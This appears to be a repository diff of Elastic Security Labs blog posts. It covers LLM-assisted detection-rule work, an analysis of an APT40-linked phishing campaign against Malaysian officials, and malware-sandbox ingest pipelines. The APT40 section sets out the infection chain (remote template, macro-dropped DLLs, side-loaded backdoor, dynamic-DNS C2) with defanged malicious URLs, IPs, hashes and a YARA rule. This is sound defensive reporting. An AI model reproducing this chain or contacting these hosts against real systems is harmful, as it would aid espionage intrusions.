With these goals in mind, our first research use case in May focused on query generation. We learned quickly that with minimal data and prompt engineering, we could chain a series of prompts to transform raw Elastic events into EQL queries.
|
||||
|
||||

|
||||
Figure 2: Query Generation POC
|
||||
|
||||
For experimentation purposes, we simulated suspicious activity using our [Red Team Automation (RTA)](https://github.com/elastic/detection-rules/tree/main/rta) scripts and captured the endpoint activity in the SIEM through the Elastic Agent. Figure 2 displays sample events from the Elastic stack, exported to gold.json test files, that included the essential event fields for query generation.
|
||||
|
||||
We then asked GPT to analyze the event collection covering the RTA execution time window and focus on events with suspicious behavior. In our POC, the prompt asked us to pinpoint key values linked to potential anomalies. We then followed with subsequent prompts to chunk the events and summarize all of the activity. Based on all the summaries, we asked GPT to generate a list of indicators, without keying on specific values. With this short list of suspicious behaviors, we then asked GPT to generate the query. A significant advantage of our long-term open-source development is that GPT-related models are familiar with Elastic content, and so we benefited by not having to overfit our prompts.
|
||||
|
||||
Even though going from raw data to an EQL query was conceptually straightforward, we still encountered minor hiccups like service availability with Azure OpenAI. It was relatively cheap, in what we estimated cost us around $160 in a week to use the OpenAI and Azure OpenAI inference and embedding APIs. We also explored using the GCP Vertex AI Workbench to facilitate collaborative work on Jupyter notebooks, but the complexity of using the available open source (OSS) models made them challenging to use during the short ONWeek.
|
||||
|
||||

|
||||
Figure 3: May 2023 ONWeek Major Outcomes
|
||||
|
||||
We used ONWeek to mature our roadmap like expanding beyond in-memory, library-based vector search implementations to more performant, scalable, and production-ready data stores of our detection-rules content in Elasticsearch. Based on our initial results, we understood the potential and viability of integrating GenAI into the analyst workflow (e.g. allowing event time-window selection, query generation, and timeline addition). Based on these early wins, we put on our internal roadmap plans to pursue further LLM R&D and decided to tackle one of our internal productivity workflows.
|
||||
|
||||
## A New Horizon: Generating Investigation Guides
|
||||
|
||||
Over the years, Elastic Security Labs has matured its content. Starting in 2020 by adding the Investigation Guide Security feature, then standardizing those guides in 2021. By 2023, with over 900 [rules](https://github.com/elastic/detection-rules/tree/main/rules) in place, we are actively seeking an efficient way to generate highly accurate, detailed, and standardized guides for all 900+ pre-built rules.
|
||||
|
||||
Melding traditional ML approaches (like similarity vector search) with our prompt engineering special sauce, our team created a new prototype centered around investigation guide generation called Rulecraft. Now, with just a rule ID in hand, our rule authors can generate a baseline investigation guide solution in mere minutes!
|
||||
|
||||

|
||||
Figure 4: Sample Investigation Guide
|
||||
|
||||
In this initial exploration, we supplied detection rules, but limited input to a few fields from the rules like the description and name of GPT. We also attempted to supply the query, but it appeared to overfit the expected outcome we desired. Initially, we provided a simple prompt with these fields to evaluate how well GPT could generate a decent investigation guide with minimal effort. As we explored further, it became evident that we could benefit from chaining multiple prompts akin to what we did during the EQL query generation experiment. So we spent time creating prompts tailored to distinct sections of the investigation guide. Segmenting the prompts not only granted us greater flexibility but also addressed areas where GPT faltered, such as the "Related Rules" section, where GPT tended to hallucinate most. At times like this, we used traditional ML methods like similarity search and integrated our rules into a vector database for enhanced context.
|
||||
|
||||
Next, we identified opportunities to inject additional context into specific sections. To ensure uniformity across our guides, we curated a library of approved content and language for each segment. This library then guided GPT in generating and formatting responses similar to our established standard messages. We then compared GenAI-produced guides with their manually crafted counterparts to identify other formatting discrepancies, general errors introduced by GPT, and even broader issues with our prompts.
|
||||
|
||||
Based on these findings, we chose to improve our generated content by adjusting the prompts instead of using post-processing techniques like string formatting. While the automated investigation guides aren't perfect, they offer our detection engineers a solid starting place. In the past, investigation guides have enhanced our PR peer review process by providing the reviewer with more context as the rules expected behavior. We now can generate the base guide, tune it, and add more detail as needed by the detection engineer instead of starting from scratch.
|
||||
|
||||
To bring this capability directly to our detection engineers, we integrated Rulecraft into a GitHub action workflow, so they can generate guides on-demand. We also produced the additional 650+ guides in a mere 13 hours—a task that would traditionally span months. The automation allows us to make small tweaks and quickly regenerate base content for rules missing investigation guides. Again, these guides are still subject to our stringent internal review, but the time and effort saved by leveraging GenAI for our preliminary drafts is incredible.
|
||||
|
||||
## Charting the Future: Next Steps
|
||||
|
||||
Our research and development journey continues, with a central focus on refining our approach to content generation with LLMs and more thoroughly validating our results. Here’s a short list of our priorities now that we’ve explored the viability and efficacy of integrating LLMs into our detection engineering workflow:
|
||||
- Compare proprietary models with the latest open-source models
|
||||
- Further refine our experimentation process including event filtering, prompt optimization, and exploring various model parameters
|
||||
- Create a test suite to validate our results and prevent regressions.
|
||||
- Seamlessly integrate our R&D advancements into the [Elastic AI Assistant](https://www.elastic.co/blog/open-security-impact-elastic-ai-assistant).
|
||||
|
||||
Overall, we want to dramatically increase our investigation guide coverage and reduce the time taken to craft these guides from the ground up. Each investigation guide provides analysts with detailed, step-by-step instructions and queries for triaging alerts. With a customer-first mentality at the forefront of our [source code](https://www.elastic.co/about/our-source-code), we aim to elevate the analyst experience with more investigation guides of even higher quality, translating into less time spent by our customers on FP analysis and alert triaging.
|
||||
|
||||
## Summary
|
||||
Keeping in spirit with our open innovation and transparency, Elastic Security Labs has begun our generative AI voyage to enhance the productivity of our threat detection processes. Our efforts continue to evolve and incorporate prompt engineering and traditional ML approaches on a case-by-case basis, resulting in more R&D proof-of-concepts like “LetmeaskGPT” and "Rulecraft". The latter POC has significantly reduced the time required to craft baseline guides, improve the analyst experience, and reduce false positive analyses. There’s so much more to do and we want to include you on our journey! While we've made strides, our next steps include further refinement, developing a framework to rigorously validate our results, and exploring opportunities to operationalize our R&D, ensuring we remain at the forefront of security advancements.
|
||||
|
||||
We’re always interested in hearing use cases and workflows like these, so as always, reach out to us via [GitHub issues](https://github.com/elastic/detection-rules/issues), chat with us in our [community Slack](http://ela.st/slack), and ask questions in our [Discuss forums](https://discuss.elastic.co/c/security/endpoint-security/80)!
|
||||
|
||||
Also, feel free to check out these additional resources to learn more about how we’re bringing the latest AI capabilities to the hands of the analyst:
|
||||
- Learn how to responsibly use [ChatGPT with Elasticsearch](https://www.elastic.co/blog/chatgpt-elasticsearch-openai-meets-private-data)
|
||||
- See the new Elastic [AI Assistant](https://www.elastic.co/blog/introducing-elastic-ai-assistant) — the open, generative AI sidekick powered by ESRE and [get setup](https://www.elastic.co/guide/en/security/current/security-assistant.html#set-up-ai-assistant)
|
|
@ -0,0 +1,238 @@
|
|||
---
|
||||
title: "A close look at the advanced techniques used in a Malaysian-focused APT campaign"
|
||||
slug: "advanced-techniques-used-in-malaysian-focused-apt-campaign"
|
||||
date: "2022-06-22"
|
||||
description: "Our Elastic Security research team has focused on advanced techniques used in a Malaysian-focused APT campaign. Learn who’s behind it, how the attack works, observed MITRE attack® techniques, and indicators of compromise."
|
||||
author:
|
||||
- slug: samir-bousseaden
|
||||
- slug: daniel-stepanic
|
||||
- slug: elastic-security-intelligence-analytics-team
|
||||
image: "blog-thumb-castle-tower.jpg"
|
||||
category:
|
||||
- slug: campaigns
|
||||
---
|
||||
|
||||
The Elastic Security Intelligence & Analytics Team researches adversary innovations of many kinds, and has recently focused on an activity group that leveraged remote templates, VBA code evasion, and DLL side-loading techniques. Based on code similarity and shared tactics, techniques, and procedures (TTPs), the team assessed this activity to be possibly linked to a Chinese-based group known as APT40, or Leviathan. The group’s campaign appears to target Malaysian government officials with a lure regarding the 2020 Malaysian political crisis.
|
||||
|
||||
## Anatomy of the attack
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
To initiate their advanced persistent threat (APT) campaign, the group likely delivered a Microsoft Word document as a phishing lure attachment. The image used in the lure (Figure 2) appears to be crafted from a broadcast announcement shared by a Malaysian blogger (Figure 1). The lure image includes the same broadcast time, but the date and speech topic are removed. Once this attachment is opened, a decoy document is presented while behind the scenes, taking the following actions:
|
||||
|
||||
- The lure document downloads the remote template RemoteLoad.dotm
|
||||
- The remote template executes VBA macro code
|
||||
- The VBA macro code unpacks and executes two embedded base64-encoded DLLs (sl1.tmp and sl2.tmp) to c:\users\public\
|
||||
|
||||
This technique is known as template injection, which you may recall from our [Playing defense against Gamaredon Group blog post](https://www.elastic.co/blog/playing-defense-against-gamaredon-group). This an effective approach used by adversaries to bypass perimeter controls such as email gateways.
|
||||
|
||||

|
||||
|
||||
Both embedded DLLs (sl1.tmp and sl2.tmp) are similar and export the same function names: RCT and RCP. The first DLL (sl1.tmp) is used to download a benign executable called LogiMailApp.exe and an associated library LogiMail.dll, and the second DLL (sl2.tmp) is used to execute LogiMailApp.exe, which automatically attempts to execute LogiMail.dll due to an inherent DLL search order vulnerability we’ll cover shortly.
|
||||
|
||||
| | | | | |
|
||||
| --------------- | --------- | ------------ | -------------------------------- | ------------------------- |
|
||||
| File name | File type | Size (bytes) | MD5 | Compile time |
|
||||
| LogiMailApp.exe | Win32 EXE | 311656 | 850a163ce1f9cff0367854038d8cfa7e | 2012-09-26 22:13:13+00:00 |
|
||||
| LogiMail.dll | Win32 DLL | 105984 | b5a5dc78fb392fae927e9461888f354d | 2020-06-03 04:08:29+00:00 |
|
||||
| sl1.tmp | Win32 DLL | 3072 | ccbdda7217ba439dfb6bbc6c3bd594f8 | 2019-11-29 17:15:29+00:00 |
|
||||
| sl2.tmp | Win32 DLL | 3072 | dbfa006d64f39cde78b0efda1373309c | 2019-11-29 21:23:44+00:00 |
|
||||
|
||||
_Table 1: Dropped files metadata_
|
||||
|
||||

|
||||
|
||||
This implementation stood out to our researchers due to a behavioral idiosyncrasy:
|
||||
|
||||
- The Microsoft Office application winword.exe loads sl1.tmp and sl2.tmp DLLs uses the LoadLibraryA method, which is moderately rare
|
||||
- These DLLs run explicit commands or install a payload from a URL using the CallWindowProcA method, which appears to be exceptionally rare
|
||||
- Both DLLs are deleted after execution
|
||||
|
||||

|
||||
|
||||
## Embedded DLLs
|
||||
|
||||
The embedded DLLs, sl1.tmp and sl2.tmp, have very limited functionality — exporting the RCP and RCT functions. The RCP function implements the WinExec method to execute commands where the RCT function uses the URLDownloadToFileA method to download a file from a specified URL.
|
||||
|
||||

|
||||
|
||||
## DLL side-loading a backdoor
|
||||
|
||||
LogiMailApp.exe, which is downloaded by sl1.tmp and executed by sl2.tmp, is vulnerable to a form of DLL search-order hijacking called side-loading, which automatically searches for and executes LogiMail.dll if found in the same directory. Forms of DLL search-order hijacking can be used with many third-party software applications. In this case, search-order hijacking was used to load a backdoor that exports the following notable functions:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
The adversary-created binary LogiMail.dll exports the function DllGetClassObject that contains critical logic for the execution flow of this sample:
|
||||
|
||||
1. Download an AES-encrypted second stage object to %TEMP%\~liseces1.pcs
|
||||
2. Derive a 128-bit AES key and initialization vector from SHA256 of a hardcoded string
|
||||
3. Read and decrypt %TEMP%\~liseces1.pcs in memory using the ReadFile and CryptDecrypt functions
|
||||
4. Delete %TEMP%\~liseces1.pcs from disk
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## Second stage backdoor
|
||||
|
||||
The decrypted second stage backdoor is mapped into memory and then its original entry point (OEP) is called, thus bypassing successful detections based on file system scanning.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
Both the payload staging server and the second stage infrastructure use dynamic DNS:
|
||||
|
||||

|
||||
|
||||
This payload supports the following capabilities:
|
||||
|
||||
- Basic anti-debug checks
|
||||
- System and user discovery
|
||||
- Execution via command line
|
||||
- File discovery, upload, and download
|
||||
- Persistence via run registry
|
||||
- Encrypt C2 traffic using same AES key
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## Possible APT40/Leviathan connection
|
||||
|
||||
Earlier in the year, the Malaysian Computer Emergency Response Team (MyCERT) issued an [advisory](https://www.mycert.org.my/portal/advisory?id=MA-774.022020) related to espionage activity targeting their country. The report listed different TTPs and included multiple samples and other technical indicators that align with a threat group known as APT40/Leviathan.
|
||||
|
||||
At a high level, this sample follows the continued trend of targeting Malaysian victims using specific TTPs such as remote templates, employing macros, using DLL side-loading techniques, and leveraging an in-memory implant with dynamic DNS for command and control. More specifically, the second stage implant from this lure shares unique strings and URL references and contains similar functionality that correlates with the previous reporting for APT40/Leviathan. With these similarities, our Intelligence & Analytics Team assesses with moderate confidence that this activity is linked to APT40/Leviathan.
|
||||
|
||||
Implant String Similarities with MyCERT Sample:
|
||||
|
||||
- /list_direction
|
||||
- /post_document
|
||||
- /post_login
|
||||
- Open Remote File %s Failed For: %s
|
||||
- Open Pipe Failed %s
|
||||
- Download Read Path Failed %s
|
||||
- %02X-%02X-%02X-%02X-%02X-%02X
|
||||
- Software\Microsoft\Windows\CurrentVersion\Run
|
||||
- ntkd
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## Conclusion
|
||||
|
||||
In this post, we highlighted a recent sample that most likely represents the work of a highly organized adversary. Activity groups like this are significant for everyone to take notice of, if only because they represent a higher maturity level of post-exploit innovation. Their cutting edge TTPs today end up being everyone’s run of the mill tomorrow; it’s important to learn from these events.
|
||||
|
||||
We hope that by sharing some of these insights, we can help raise awareness and continue to focus on protecting the world's data from attack. To enable organizations further, we’ve added all the observed MITRE ATT&CK® techniques and indicators of compromise (IoCs) below.
|
||||
|
||||
### MITRE ATT&CK® techniques
|
||||
|
||||
- [T1193 - Spearphishing Attachment](https://attack.mitre.org/techniques/T1193/)
|
||||
- [T1221 - Template Injection](https://attack.mitre.org/techniques/T1221/)
|
||||
- [T1060 - Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1060/)
|
||||
- [T1073 - DLL Side-Loading](https://attack.mitre.org/techniques/T1073/)
|
||||
- [T1129 - Execution through Module Load](https://attack.mitre.org/techniques/T1129/)
|
||||
- [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/)
|
||||
- [T1107 - File Deletion](https://attack.mitre.org/techniques/T1107/)
|
||||
- [T1140 - Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140/)
|
||||
- [T1059 - Command-Line Interface](https://attack.mitre.org/techniques/T1059/)
|
||||
|
||||
### Indicators of Compromise (IOCs)
|
||||
|
||||
#### File names and paths
|
||||
|
||||
```
|
||||
Bubar Parlimen.zip
|
||||
Bubar Parlimen.docx
|
||||
RemoteLoad.dotm
|
||||
C:\Users\Public\sl1.tmp
|
||||
C:\Users\Public\sl2.tmp
|
||||
C:\Users\*\AppData\Local\Temp\~liseces1.pcs
|
||||
C:\Users\*\AppData\Local\Microsoft\Office\LogiMailApp.exe
|
||||
C:\Users\*\AppData\Local\Microsoft\Office\LogiMail.dll
|
||||
```
|
||||
|
||||
#### Registry keys
|
||||
|
||||
```
|
||||
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ntkd
|
||||
```
|
||||
|
||||
#### URLs
|
||||
|
||||
```
|
||||
hxxps[:]//armybar[.]hopto[.]org/LogiMail.dll
|
||||
hxxps[:]//armybar[.]hopto[.]org/LogiMailApp[.]exe
|
||||
hxxps[:]//armybar[.]hopto[.]org/Encrypted
|
||||
hxxp[:]//tomema.myddns[.]me/postlogin
|
||||
hxxp[:]//tomema[.]myddns[.]me/list_direction
|
||||
hxxp[:]//tomema[.]myddns[.]me/post_document
|
||||
```
|
||||
|
||||
#### IPs
|
||||
|
||||
```
|
||||
104[.]248[.]148[.]156
|
||||
139[.]59[.]31[.]188
|
||||
```
|
||||
|
||||
#### HTTPS certificate
|
||||
|
||||
```
|
||||
74b5e317527c93539dbaaf84d6a61da92a56012a
|
||||
```
|
||||
|
||||
#### Hashes
|
||||
|
||||
```
|
||||
523cbdaf31ddc920e5b6c873f3ab42fb791fb4c9d1f4d9e6a7f174105d4f72a1
|
||||
ab541df861c6045a17006969dac074a7d300c0a8edd0a5815c8b871b62ecdda7
|
||||
145daf50aefb7beec32556fd011e10c9eaa71e356649edfce4404409c1e8fa30
|
||||
93810c5fd9a287d85c182d2ad13e7d30f99df76e55bb40e5bc7a486d259810c8
|
||||
925f404b0207055f2a524d9825c48aa511199da95120ed7aafa52d3f7594b0c9
|
||||
feca9ad5058bc8571d89c9d5a1eebce09e709cc82954f8dce1564e8cc6750a77
|
||||
06a4246be400ad0347e71b3c4ecd607edda59fbf873791d3772ce001f580c1d3
|
||||
77ef350639b767ce0a748f94f723a6a88609c67be485b9d8ff8401729b8003d2
|
||||
```
|
||||
|
||||
### YARA
|
||||
|
||||
```
|
||||
rule APT_APT40_Implant_June2020 {
|
||||
meta:
|
||||
version = "1.0"
|
||||
author = "Elastic Security"
|
||||
date_added = "2020-06-19"
|
||||
description = "APT40 second stage implant"
|
||||
strings:
|
||||
$a = "/list_direction" fullword wide
|
||||
$b = "/post_document" fullword wide
|
||||
$c = "/postlogin" fullword wide
|
||||
$d = "Download Read Path Failed %s" fullword ascii
|
||||
$e = "Open Pipe Failed %s" fullword ascii
|
||||
$f = "Open Remote File %s Failed For: %s" fullword ascii
|
||||
$g = "Download Read Path Failed %s" fullword ascii
|
||||
$h = "\\cmd.exe" fullword wide
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
```
|
||||
|
||||
### References
|
||||
|
||||
- [https://www.mycert.org.my/portal/advisory?id=MA-774.022020](https://www.mycert.org.my/portal/advisory?id=MA-774.022020)
|
||||
|
||||
- [https://prezi.com/view/jGyAzyy5dTOkDrtwsJi5/](https://prezi.com/view/jGyAzyy5dTOkDrtwsJi5/)
|
||||
- [https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html](https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html)
|
||||
- [https://malpedia.caad.fkie.fraunhofer.de/details/win.dadstache](https://malpedia.caad.fkie.fraunhofer.de/details/win.dadstache)
|
|
@ -0,0 +1,232 @@
|
|||
---
|
||||
title: "An Elastic approach to large-scale dynamic malware analysis"
|
||||
slug: "an-elastic-approach-to-large-scale-dynamic-malware-analysis"
|
||||
date: "2023-07-31"
|
||||
description: "This research reveals insights into some of the large-scale malware analysis performed by Elastic Security Labs, and complements research related to the Detonate framework."
|
||||
author:
|
||||
- slug: ruben-groenewoud
|
||||
- slug: remco-sprooten
|
||||
image: "blog-thumb-steel-engine.jpg"
|
||||
category:
|
||||
---
|
||||
## Introduction
|
||||
|
||||
In previous publications, we have written about Detonate: how we built it and how we use it within Elastic for malware analysis. This publication delves deeper into using Detonate for dynamic large-scale malware analysis.
|
||||
|
||||
At a high level, Detonate runs malware and other potentially malicious software in a controlled (i.e., sandboxed) environment where the full suite of Elastic Security capabilities are enabled. For more information about Detonate, check out [Click, Click… Boom! Automating Protections Testing with Detonate](https://www.elastic.co/security-labs/click-click-boom-automating-protections-testing-with-detonate).
|
||||
|
||||
A significant portion of the data generated during execution consists of benign and duplicate information. When conducting dynamic malware analysis on a large scale, managing the vast amount of low-value data is a considerable challenge. To address it, we took advantage of several Elastic ingest pipelines, which we leveraged to effectively filter out noise from our datasets. This application of ingest pipelines enabled us to conveniently analyze our large volumes of malware data and identify several malicious behaviors that we were already interested in.
|
||||
|
||||
This research examines the concept of ingest pipelines, exploring their different types and applications, and how to implement them. We will then walk through a comprehensive workflow incorporating these ingest pipelines. We will discuss our scripts and the methods that we created in order to automate the entire process. Finally, we will present our results and discuss how the workflow shared in this publication can be leveraged by others to obtain similar outcomes.
|
||||
|
||||
### Overview
|
||||
|
||||
In order to accomplish our large-scale malware analysis goals, we required effective data management. An overview of the chained ingest pipelines and processors that we built is shown below:
|
||||
|
||||

|
||||
|
||||
In summary, we fingerprint known good binaries and store those fingerprints in an enrich index. We do the same thing when we detonate malware or an unknown binary, using a comparison of those fingerprints to quickly filter out low-value data.
|
||||
|
||||
### Ingest pipelines
|
||||
|
||||
[Ingest pipelines](https://www.elastic.co/guide/en/elasticsearch/reference/current/ingest.html) are a powerful feature that allows you to preprocess and transform data before indexing it into Elasticsearch. They provide a way to perform various actions on incoming documents, such as enriching the data, modifying fields, extracting information, or applying data normalization. Ingest pipelines can be customized to meet specific data processing requirements. Our objective was to create a pipeline that differentiates known benign documents from a dataset containing both benign and malicious records. We ingested large benign and malicious datasets into separate namespaces and built pipelines to normalize the data, calculate fingerprints, and add a specific label based on certain criteria. This label helps differentiate between known benign and unknown data.
|
||||
|
||||
### Normalization
|
||||
|
||||
Normalization is the process of organizing and transforming data into a consistent and standardized format. When dealing with lots of different data, normalization becomes important to ensure consistency, improve search and analysis capabilities, and enable efficient data processing.
|
||||
|
||||
The goal is to make sure documents with unique identifiers are no longer unique. For example, we remove the unique 6-character filename of the Elastic Agent in the " `/opt/Elastic/Agent/data/`" directory after installation. This ensures data from different Elastic Agents can be fully comparable, leading to more filtering opportunities in later pipeline phases.
|
||||
|
||||
To accomplish this, we leveraged the [gsub pipeline](https://www.elastic.co/guide/en/elasticsearch/reference/current/gsub-processor.html). It allowed us to apply regex-based transformations to fields within the data pipeline. We performed pattern matching and substitution operations to normalize event data, such as removing special characters, converting text to lowercase, or replacing certain patterns with standardized values.
|
||||
|
||||
By analyzing our dataset, we discovered a set of candidates that would require normalization, and created a simple Python script to generate a list of gsub processors based on the matching value and the replacement value. The script that we leveraged can be found on [GitHub](https://github.com/elastic/labs-releases/tree/main/tools/malware_research). Using the output of the script, we can leverage dev tools to create a pipeline containing the generated gsub processors.
|
||||
|
||||
Prior to utilizing the normalization pipeline, documents would contain random 6 character strings for every single Elastic agent. An example is displayed below.
|
||||
|
||||

|
||||
|
||||
After ingesting and manipulating the documents through the normalization pipeline, the result looks like the following.
|
||||
|
||||

|
||||
|
||||
When all documents are normalized, we can continue with the fingerprint calculation process.
|
||||
|
||||
### Fingerprint calculation
|
||||
|
||||
Fingerprint calculations are commonly used to generate a unique identifier for documents based on their content. The [fingerprint ingest pipeline](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html) provides a convenient way to generate such identifiers by computing a hash value based on the specified fields and options, allowing for efficient document deduplication and comparison. The pipeline offers various options, including algorithms (such as MD5 or SHA-1), target fields for storing the generated fingerprints, and the ability to include or exclude specific fields in the calculation.
|
||||
|
||||
We needed to calculate the fingerprints of documents ingested into Elasticsearch from several sources and integrations such as endpoint, [auditd manager](https://docs.elastic.co/integrations/auditd_manager), packetbeat, [file integrity monitoring](https://docs.elastic.co/integrations/fim) etc. To calculate the fingerprints, we first needed to specify which fields we wanted to calculate them for. Because different data sources use different fields, it was important to create separate processors for each data type. For our use case, we ended up creating a different fingerprint processor for the following set of event categories:
|
||||
|
||||

|
||||
|
||||
By specifying a condition we ensure that each processor only runs on its corresponding dataset.
|
||||
|
||||

|
||||
|
||||
The included fields to these processors are of the utmost importance, as they can indicate if a field is less static than expected or if an empty field could result in a non-functional pipeline. For example, when working with network data, it might initially make sense to include protocol, destination ip, destination port, source ip and source port. But this will lead to too much noise in the pipeline, as the socket that is opened on a system will be opened on an ephemeral source port, which will result in many unique fingerprints for otherwise identical network traffic. Some fields that may be subject to change relate to file sizes, version numbers, or specific text fields that are not being parsed. Normalization sometimes preserves fields that aren't useful for fingerprinting, and the more specific the fingerprint the less useful it tends to be. Fingerprinting by file hash illustrates this, while adding an empty space to the file causes a new hash to be calculated, this would break an existing hash-based fingerprint of the file.
|
||||
|
||||
Field selection is a tedious process but vital for good results. For a specific integration, like auditd manager, we can find the [exported fields](https://github.com/elastic/integrations/tree/main/packages/auditd_manager) on [GitHub](https://github.com/elastic/integrations/tree/main/packages) and pick the ones that seem useful for our purposes. An example of the processor that we used for `auditd\_manager` can be found in the image below.
|
||||
|
||||

|
||||
|
||||
### Enrichment process
|
||||
|
||||
The [enrich ingest pipeline](https://www.elastic.co/guide/en/elasticsearch/reference/current/enrich-processor.html) is used for enriching incoming documents with additional information from external data sources. It allows you to enrich your data by performing lookups against an index or data set, based on specific criteria. Common use cases for the enrich ingest pipeline include augmenting documents with data from reference datasets (such as geolocation or customer information) and enriching logs with contextual information (like threat intelligence labels).
|
||||
|
||||
For this project we leveraged enrich pipelines to add a unique identifier to the ingested document if it met certain criteria described within an enrich policy. To accomplish this, we first ingested a large and representative batch of benign data using a combination of normalization and fingerprint calculation pipelines. When the ingestion was completed, we set up several [enrich policies](https://www.elastic.co/guide/en/elasticsearch/reference/current/ingest-enriching-data.html) through the [execute enrich policy API](https://www.elastic.co/guide/en/elasticsearch/reference/current/execute-enrich-policy-api.html). The execution of these enrich policies will create a set of new .enrich-\* system indices. The results stored within these indices will later be used by the pipelines used to ingest mixed (benign and malicious) data.
|
||||
|
||||
This will make more sense with an example workflow. To leverage the enrich ingest pipeline, we first need to create enrich policies. As we are dealing with different data sources - meaning network data looks very different from auditd manager data - we will have to create one enrich policy per data type. In our enrich policy we may use a query to specify which documents we want to include in our enrich index and which ones we want to exclude. An example enrich policy that should add all auditd manager data to the enrich index, other than the data matching three specific match phrases, is displayed below.
|
||||
|
||||

|
||||
|
||||
We are leveraging the “fingerprint” field which is calculated in the fingerprint processor as our match field. This will create an index filled with benign fingerprints to be used as the enriching index within the enrich pipeline.
|
||||
|
||||
After creating this policy, we have to execute it for it to read the matching index, read the matching field, query for inclusions and exclusions, and create the new .enrich-\* system index. We do this by executing a POST request to the \_execute API.
|
||||
|
||||

|
||||
|
||||
We set wait_for_completion=false to make sure that the policy doesn’t time out. This might occur if the dataset is too large. When we navigate to index management and include hidden indices, we can see that the index is created successfully.
|
||||
|
||||

|
||||
|
||||
We now have a list of known benign fingerprints, which we will use within our enrich pipeline to filter our mixed dataset with. Our enrich pipeline will once again use a condition to differentiate between data sources. An overview of our enrich processors is displayed below.
|
||||
|
||||

|
||||
|
||||
Focusing on the auditd manager, we built an enrich processor using the condition field to check if the document's dataset is auditd_manager.auditd. If it matches, we reference the enrich policy we created for that dataset. Using the fingerprint field, we match and enrich incoming documents. If the fingerprint is known within the enrich indices we created, we add the "enrich_label" field with the fingerprint to the document. See the processor below.
|
||||
|
||||

|
||||
|
||||
Once a document originating from the auditd_manager.auditd dataset comes through, the enrich processor is executed, and this finally executes a [script processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/script-processor.html). The script processor allows us to run inline or stored scripts on incoming documents. We leverage this functionality to read each document in the pipeline, check whether the “enrich_label” field was added; and if this is the case, we set a new boolean field called “known_benign” to true and remove the “enrich_label” and “enriched_fingerprint” fields. If the document does not contain the “enrich_label” field, we set “known\_benign” to false. This allows us to easily filter our mixed dataset in Kibana.
|
||||
|
||||

|
||||
|
||||
When using the “test pipeline” feature by adding a document that contains the “enrich_label”, we can see that the “fingerprint” and the “known_benign” fields are set.
|
||||
|
||||

|
||||
|
||||
For documents that do not contain “enrich\_label”, just the fingerprint is set.
|
||||
|
||||
Working with these enrich policies requires some setup, but once they are well structured they can truly filter out a lot of noise. Because doing this manually is a lot of work, we created some simple Python scripts to somewhat automate this process. We will go into more detail about how to automate the creation of these enrich policies, their execution, the creation of the enrich pipeline and more shortly.
|
||||
|
||||
#### Ingest pipeline chaining
|
||||
|
||||
The [pipeline ingest pipeline](https://www.elastic.co/guide/en/elasticsearch/reference/current/pipeline-processor.html) provides a way to chain multiple ingest pipelines. By chaining pipelines, we create a sequence of operations that collectively shapes the incoming data in the form that we want, facilitating our needs for data normalization, fingerprint calculation, and data enrichment.
|
||||
|
||||
In our work with Detonate, we ended up creating two ingest pipelines. The first will process benign data, which consists of a normalization pipeline and a fingerprint calculation pipeline. The next will process malicious data, consisting of a normalization, fingerprint calculation, and enrichment pipeline. An example of this would be the following:
|
||||
|
||||

|
||||
|
||||
With the pipelines in place, we need to ensure that they are actually being used when ingesting data. To accomplish this, we leverage component templates.
|
||||
|
||||
### Component templates
|
||||
|
||||
[Component templates](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-component-template.html) are reusable configurations that define the settings and mappings for specific types of Elasticsearch components. They provide a convenient way to define and manage consistent configurations across multiple components, simplifying the management and maintenance of resources.
|
||||
|
||||
When you first start using any fleet integrations, you would notice that a lot of component templates are created by default. These are also tagged as "managed", meaning that you can't change the configuration.
|
||||
|
||||

|
||||
|
||||
In order to accommodate users that want to post process events that are ingested via the fleet managed agent, all index templates call out to a final component template whose name ends in `@custom`.
|
||||
|
||||

|
||||
|
||||
The settings you put in these components will never be changed by updates. In our use case, we use these templates to add a mapping for the enrichment fields. Most of the data that is ingested via the fleet and its integrations will go through an ingest pipeline. These pipelines will follow the same pattern in order to accommodate user customizations. Take for example the following ingest pipeline:
|
||||
|
||||

|
||||
|
||||
We can see that it is managed by fleet and it is tied to a specific version (e.g. 8.8.0) of the integration. The processor will end by calling the `@custom` pipeline, and ignore it if it doesn't exist.
|
||||
|
||||
We want to add our enrichment data to the documents using the enrichment pipelines we described in the previous section. This can now simply be done by creating the `@custom` pipeline and having that call out to the enrichment pipeline.
|
||||
|
||||

|
||||
|
||||
### Automating the process
|
||||
|
||||
In order to create the gsub processors, ingest pipelines, and enrich policies, we had to use three Python scripts. In the next section we will showcase these scripts. If you choose to integrate these scripts, remember that you will need to adjust them to match your own environment in order to make them work.
|
||||
|
||||
#### Creating the gsub ingest pipelines
|
||||
|
||||
In order to create a gsub pipeline that will replace the given random paths by static ones we used a Python [script](https://github.com/elastic/labs-releases/blob/main/tools/malware_research/gsub_pipeline_json_object.py) that takes several fields and patterns as an input, and prints out a json object which can be used by the pipeline creation API.
|
||||
|
||||
#### Create Custom Pipelines
|
||||
|
||||
After setting up the gsub pipeline, we leveraged [a second Python script](https://github.com/elastic/labs-releases/blob/main/tools/malware_research/custom_pipelines.py) that searches for all fleet managed configurations that call an @custom ingest pipeline. It will then create the appropriate pipeline, after which all the custom pipelines will be pointing to the `process_local_events` pipeline.
|
||||
|
||||
#### Generate Enrichment Processors
|
||||
|
||||
Finally, we created a [third](https://github.com/elastic/labs-releases/blob/main/tools/malware_research/enrich_policy_setup.py) Python script that will handle the creation of enrichment processors in four steps.
|
||||
|
||||
1. `The cleanup process` : While an enrichment processor is used in an ingest pipeline it cannot be deleted. During testing and development we simply delete and recreate the ingest pipeline. This is of course not recommended for production environments.
|
||||
